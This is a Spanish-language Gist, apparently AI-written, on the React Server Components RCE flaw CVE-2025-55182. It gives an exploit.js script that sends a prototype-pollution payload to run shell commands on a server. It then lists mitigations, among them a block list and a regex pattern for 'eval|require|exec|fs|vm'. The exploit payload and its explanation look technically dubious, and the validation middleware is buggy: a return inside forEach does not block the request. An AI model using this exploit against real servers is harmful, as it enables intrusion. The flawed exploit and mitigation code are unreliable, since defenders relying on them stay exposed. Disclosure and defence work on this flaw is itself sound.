Autor: Grok (basado en análisis de PoCs públicos)
Fecha: 4 de diciembre de 2025
Descripción: Este Gist explica la vulnerabilidad CVE-2025-55182 (conocida como "React2Shell"), una falla crítica de ejecución remota de código (RCE) en React Server Components (RSC) versiones 19.0 a 19.2.0. Incluye un ejemplo hipotético de un request HTTP crafted para explotarla, y estrategias de mitigación adicionales a la actualización de versiones. Todo con código JavaScript/Node.js para ilustrar.
Advertencia: Este es un ejemplo educativo basado en PoCs públicos (como los de GitHub: whiteov3rflow/CVE-2025-55182-poc y ejpir/CVE-2025-55182-poc). No uses esto para explotar sistemas reales. Actualiza React inmediatamente a 19.0.1, 19.1.2 o 19.2.1.
Es una vulnerabilidad de deserialización insegura en el protocolo "Flight" de RSC (usado en React y frameworks como Next.js). Permite a un atacante no autenticado enviar un payload crafted a un endpoint de Server Functions, explotando la función requireModule en react-server-dom-webpack. Esto accede a módulos Node.js peligrosos (como child_process o fs) vía contaminación de la cadena de prototipos (prototype pollution), sin verificación de hasOwnProperty.
- Impacto: RCE completo en el servidor (CVSS 10.0). Afecta ~39% de entornos cloud con Next.js/React.
- Explotación: Un solo request HTTP POST a
/react?jsx=1o similar, con un payload JSON que simula un módulo malicioso.
El exploit envía un payload que viaja por la cadena de prototipos de Object.prototype para acceder a módulos built-in de Node.js. Usando JavaScript (con fetch para simplicidad), aquí un ejemplo para ejecutar un comando como whoami vía child_process.execSync.
// exploit.js - Ejemplo educativo de exploit (NO EJECUTAR EN PRODUCCIÓN)
const targetUrl = 'http://vulnerable-server:3000/react?jsx=1'; // Endpoint vulnerable de RSC
async function exploitRCE(command = 'whoami') {
// Payload crafted: Contamina prototype para acceder a child_process
const payload = {
// Simula metadata para requireModule: [módulo_id, prop, '__proto__' para pollution]
// En react-server-dom-webpack, esto resuelve a Object.prototype y sube a built-ins
"0": 0, // ID de chunk base (webpack)
"1": {}, // Objeto vacío para deserializar
// Payload clave: Usa '__proto__' para inyectar en prototype chain
// Accede a 'child_process' vía traversal (ej: metadata[2] = '__proto__.constructor.execSync')
"2": {
"__proto__": {
// Contaminación: Asigna función maliciosa que llama execSync
"constructor": {
"execSync": command // Comando a ejecutar (e.g., 'whoami')
}
}
},
// Instrucción para ejecutar vía vm.runInThisContext o similar gadget
"instructions": [
{"type": "module", "id": 0},
{"type": "call", "id": 1, "args": [2]} // Llama la función inyectada
]
};
try {
const response = await fetch(targetUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'text/x-component', // RSC Flight protocol
},
body: JSON.stringify(payload) // Serializa el payload crafted
});
const result = await response.text();
console.log('Explotación exitosa:', result); // Output: e.g., "nick" de whoami
} catch (error) {
console.error('Error en exploit:', error);
}
}
// Ejecutar
exploitRCE('whoami');- Deserialización insegura: El servidor deserializa el JSON sin validar, resolviendo
moduleExports[metadata[2]]dondemetadata[2]es'__proto__.child_process.execSync', accediendo aglobal.Object.prototype.child_process(pollution). - Gadgets comunes: Usa
vm.runInThisContextpara eval código, ofs.readFileSyncpara leer archivos (e.g.,/etc/passwd). - Ejecución: Corre con
node exploit.js. En un PoC real, el servidor responde con el output del comando.
Nota: Este es simplificado; PoCs reales (como en GitHub) usan Python para crafting binario o JS con buffers para payloads más complejos.
La actualización es prioritaria (e.g., npm update react react-server-dom-webpack), pero aquí mitizaciones intermedias con JS. Implementa en tu servidor (Node.js/Next.js).
Usa middleware para validar payloads RSC antes de deserializar.
// middleware/validation.js - Para Express o Next.js API routes
const { body, validationResult } = require('express-validator'); // npm install express-validator
function validateRSCPayload(req, res, next) {
// Regla: Solo permite keys conocidas, rechaza '__proto__', 'constructor', etc.
const forbiddenProps = ['__proto__', 'prototype', 'constructor', 'toString'];
const payload = req.body;
if (typeof payload === 'object') {
Object.keys(payload).forEach(key => {
if (forbiddenProps.includes(key)) {
return res.status(400).json({ error: 'Payload malicioso detectado' });
}
// Sanitiza valores: No permite strings con 'eval', 'require', etc.
if (typeof payload[key] === 'string' && /eval|require|exec|fs|vm/.test(payload[key])) {
return res.status(400).json({ error: 'Comando sospechoso' });
}
});
}
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
next();
}
// Uso en route (e.g., app.js)
app.post('/react', [
body('payload').custom(value => {
// Custom validator: Limita tamaño y estructura
return Object.keys(value).length < 10 && typeof value === 'object';
}),
validateRSCPayload
], (req, res) => {
// Tu handler RSC aquí
});Protege con auth (e.g., JWT). Solo permite requests autenticados.
// auth-middleware.js - Ejemplo con jsonwebtoken (npm install jsonwebtoken)
const jwt = require('jsonwebtoken');
function requireAuth(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'Autenticación requerida' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (error) {
res.status(403).json({ error: 'Token inválido' });
}
}
// En route
app.post('/react', requireAuth, handleRSCRequest);Limita requests para prevenir abusos. Usa express-rate-limit.
// rate-limit.js - npm install express-rate-limit
const rateLimit = require('express-rate-limit');
const rscLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutos
max: 10, // Máx 10 requests por IP
message: 'Demasiados requests a RSC, intenta más tarde',
standardHeaders: true,
legacyHeaders: false,
});
// Aplicar
app.use('/react', rscLimiter);Registra requests sospechosos.
// logger.js
const winston = require('winston'); // npm install winston
const logger = winston.createLogger({
level: 'info',
format: winston.format.json(),
transports: [new winston.transports.File({ filename: 'rsc-attacks.log' })]
});
app.post('/react', (req, res, next) => {
if (req.body && (req.body.__proto__ || /exec|fs/.test(JSON.stringify(req.body)))) {
logger.warn('Posible ataque RSC', { ip: req.ip, payload: req.body });
}
next();
});En Next.js, configura next.config.js:
// next.config.js
module.exports = {
experimental: {
serverComponents: false, // Deshabilita RSC temporalmente
},
};- Actualiza YA:
npm update [email protected] [email protected]. - Prueba: Usa herramientas como OWASP ZAP para simular attacks.
- Fuentes: Basado en PoCs de GitHub y blogs (Tenable, Wiz). Monitorea NVD para updates.